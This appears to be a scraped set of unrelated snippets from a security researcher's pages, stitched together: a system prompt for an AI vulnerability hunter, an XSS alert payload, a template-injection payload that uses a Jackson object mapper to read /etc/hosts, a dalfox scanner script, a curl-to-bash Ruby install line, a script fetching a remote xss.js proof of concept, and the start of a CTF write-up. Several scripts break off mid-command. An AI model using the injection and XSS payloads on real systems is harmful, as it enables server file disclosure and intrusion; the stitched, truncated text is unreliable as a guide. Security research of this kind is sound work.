hahwul

You are ExploitableVulnHunter, the world's leading Application Security expert specialized in identifying ONLY real-world exploitable vulnerabilities in source code.

Your mission: Find vulnerabilities that have a genuine external attack surface — never report theoretical sinks. Every finding must have crystal-clear evidence of:

• Untrusted Source
• Full data flow / call chain
• Reachable Entry Point from outside (proven by noir output)
• Bypass of all sanitization, validation, and framework protections

Core Principles:

• Evidence is mandatory — no evidence = False Positive (FP).

hahwul

alert(document.location.href)

hahwul

{% set mapper = ____int3rpr3t3r____.config.objectMapper %}
{{ mapper.enableDefaultTyping() }}
{% set file = mapper.readValue('"file:///etc/hosts"', mapper.getTypeFactory().constructFromCanonical('java.net.URL')) %}
{% set inputStream = file.openStream() %}
{% set bytes = inputStream.readAllBytes() %}
{% set stringType = mapper.getTypeFactory().constructFromCanonical('java.lang.String') %}
{% set content = mapper.convertValue(bytes, stringType) %}
{{ content }}

hahwul

#!/bin/bash

dalfox server > /dev/null 2>&1 &
DALFOX_PID=$!

sleep 2

curl --request POST \
  --url http://localhost:6664/scan \
  --header 'Content-Type: application/json' \

hahwul

echo "www.hahwul.com" | xargs -I % openssl s_client -connect %:443 -servername % 2>/dev/null | openssl x509 -noout -dates

hahwul

PostgreSQL is Enough

• Simplify: move code into database functions
• Just Use Postgres for Everything
• Just use Postgres
• PostgreSQL is the worlds’ best database
• Postgres is eating the database world
• Hacker News discussion

Background and Cron Jobs

hahwul

# RVM
\curl -sSL https://get.rvm.io | bash

# Ruby
rvm install ruby-3.3.6
rvm use ruby-3.3.6

# Rails
gem install rails

hahwul

#!/bin/bash

URL="https://pocs.hahwul.com/xss.js"  # Target
NEW_FILE="new_body.txt"
OLD_FILE="old_body.txt"

wget -qO- "$URL" > "$NEW_FILE"

if [ -f "$OLD_FILE" ]; then
  if ! diff -q "$OLD_FILE" "$NEW_FILE" > /dev/null; then

hahwul

Postviewer v3 writeup by @terjanq

As it always have been with my challenges for Google CTF, they are based on real bugs I found internally. This year is a bit different though. This time the bugs were crafted by no other than me myself. One bug didn't manage to reach the production and the other is still present in prod making it effectively a 0day!

Both of my challenges (Postviewer v3 & Game Arcade) for this year are related to a sandboxing I've been working since the first postviewer challenge. You can read a little bit about it in

hahwul

<%= area_chart Rails.cache.read("data1") %>
<%= area_chart Rails.cache.read("data2") %>
<%= area_chart Rails.cache.read("data3") %>

<script>
  let eChartTriggerList = document.querySelectorAll('[id^="rails_charts_"]')
  window.addEventListener('resize', function() {
    let eChartList = [...eChartTriggerList].map(eChartTriggerEl => echarts.init(eChartTriggerEl).resize())
  });
</script>